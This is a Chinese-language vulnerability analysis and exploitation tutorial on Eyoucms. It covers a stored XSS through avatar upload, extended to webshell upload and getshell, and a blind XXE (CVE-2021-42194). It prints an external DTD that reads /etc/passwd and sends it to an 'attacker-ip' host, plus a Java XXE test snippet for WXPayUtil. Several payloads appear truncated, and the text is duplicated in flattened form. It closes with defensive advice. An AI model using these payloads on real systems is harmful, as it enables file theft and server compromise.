eyoucmsCVE-2021-42194与存储型xss分析
字数 1181 2025-08-07 08:22:39

Eyoucms CVE-2021-42194与存储型XSS漏洞分析与利用教学文档

0x01 存储型XSS漏洞分析

漏洞位置

/application/function.php文件中的图片上传处理逻辑

漏洞成因

  1. 系统对上传图片进行了后缀检验
  2. 对文件名中的.\/进行了过滤
  3. 关键缺陷:未对上传的图片进行重命名处理

漏洞利用步骤

  1. 准备恶意图片文件,命名为:.jpg
  2. 登录系统后执行以下操作:
    • 点击头像
    • 选择"个人信息"
    • 点击"更换头像"
    • 上传准备好的恶意图片
  3. XSS代码将被执行

拓展利用

  1. 上传包含一句话木马的图片文件
  2. 如果目标使用phpstudy建站,MySQL的upload.MYD文件中会保存该木马
  3. 配合文件包含漏洞可实现getshell

0x02 XXE漏洞(CVE-2021-42194)分析

漏洞位置

application/home/controller/Index.php中的wechat_return()方法

漏洞成因

  1. 第137行直接将传入的XML代码传递给simplexml_load_string()函数
  2. 未禁用外部实体解析
  3. 触发条件:
    • 从数据库查询pay_info字段获取appid
    • appid不为空或传入XML中存在appid时触发

相关配置位置

  1. 后台路径:基本信息->接口配置->微信支付
  2. 数据库位置:pay_api_config表中pay_mark=wechatpayinfo字段

漏洞利用(DNSLOG测试)

  1. 确认漏洞为无回显XXE
  2. 使用参数实体引用外部DTD

攻击Payload

%remote;%int;%send;
]>

外部DTD文件(test.dtd)内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker-ip?p=%file;'>">

攻击流程解析

  1. %remote首先调用,请求远程服务器上的test.dtd
  2. %int调用test.dtd中的%file
  3. %file获取服务器敏感文件内容
  4. %file结果填入%send(使用HTML实体编码%)
  5. %send将数据外带到攻击者服务器

0x03 相关漏洞对比

微信支付XXE漏洞(WXPayUtil)

  1. xmlToMap方法存在XXE漏洞
  2. 使用DocumentBuilder危险函数
  3. 直接将传入字符串转换为Map集合
  4. 未对输入字符串进行过滤

测试代码示例

String str = "<?xml version='1.0' encoding='utf-8'?>\r\n" +
             "\r\n" +
             " ]>\r\n" +
             "<creds><goodies>&goodies;</goodies><pa>susu</pa></creds>";
Map<String, String> map;
try {
    map = new WXPayUtil().xmlToMap(str);
    System.out.println(map);
} catch (Exception e) {
    e.printStackTrace();
}

XML结构说明

必须使用嵌套元素结构:

<creds><passwd>&goodies;</passwd></creds>

而非:

<creds>&goodies;</creds>

原因:

  • 子节点会被转换为Map的key-value对
  • 单层结构没有子节点,会导致输出null

0x04 防御建议

存储型XSS防御

  1. 对上传文件进行强制重命名
  2. 对文件名进行HTML实体编码
  3. 实现内容安全策略(CSP)

XXE漏洞防御

  1. 禁用外部实体解析
    • PHP: libxml_disable_entity_loader(true)
  2. 对XML输入进行严格过滤
  3. 使用白名单验证XML结构
  4. 避免直接使用危险函数处理不可信输入
Eyoucms CVE-2021-42194与存储型XSS漏洞分析与利用教学文档 0x01 存储型XSS漏洞分析 漏洞位置 /application/function.php 文件中的图片上传处理逻辑 漏洞成因 系统对上传图片进行了后缀检验 对文件名中的 .\/ 进行了过滤 关键缺陷 :未对上传的图片进行重命名处理 漏洞利用步骤 准备恶意图片文件,命名为: .jpg 登录系统后执行以下操作: 点击头像 选择"个人信息" 点击"更换头像" 上传准备好的恶意图片 XSS代码将被执行 拓展利用 上传包含一句话木马的图片文件 如果目标使用phpstudy建站,MySQL的 upload.MYD 文件中会保存该木马 配合文件包含漏洞可实现getshell 0x02 XXE漏洞(CVE-2021-42194)分析 漏洞位置 application/home/controller/Index.php 中的 wechat_return() 方法 漏洞成因 第137行直接将传入的XML代码传递给 simplexml_load_string() 函数 未禁用外部实体解析 触发条件: 从数据库查询 pay_info 字段获取 appid 当 appid 不为空或传入XML中存在 appid 时触发 相关配置位置 后台路径:基本信息->接口配置->微信支付 数据库位置: pay_api_config 表中 pay_mark=wechat 的 payinfo 字段 漏洞利用(DNSLOG测试) 确认漏洞为无回显XXE 使用参数实体引用外部DTD 攻击Payload 外部DTD文件(test.dtd)内容 攻击流程解析 %remote 首先调用,请求远程服务器上的test.dtd %int 调用test.dtd中的 %file %file 获取服务器敏感文件内容 将 %file 结果填入 %send (使用HTML实体编码 % ) %send 将数据外带到攻击者服务器 0x03 相关漏洞对比 微信支付XXE漏洞(WXPayUtil) xmlToMap 方法存在XXE漏洞 使用 DocumentBuilder 危险函数 直接将传入字符串转换为Map集合 未对输入字符串进行过滤 测试代码示例 XML结构说明 必须使用嵌套元素结构: 而非: 原因: 子节点会被转换为Map的key-value对 单层结构没有子节点,会导致输出null 0x04 防御建议 存储型XSS防御 对上传文件进行强制重命名 对文件名进行HTML实体编码 实现内容安全策略(CSP) XXE漏洞防御 禁用外部实体解析 PHP: libxml_disable_entity_loader(true) 对XML输入进行严格过滤 使用白名单验证XML结构 避免直接使用危险函数处理不可信输入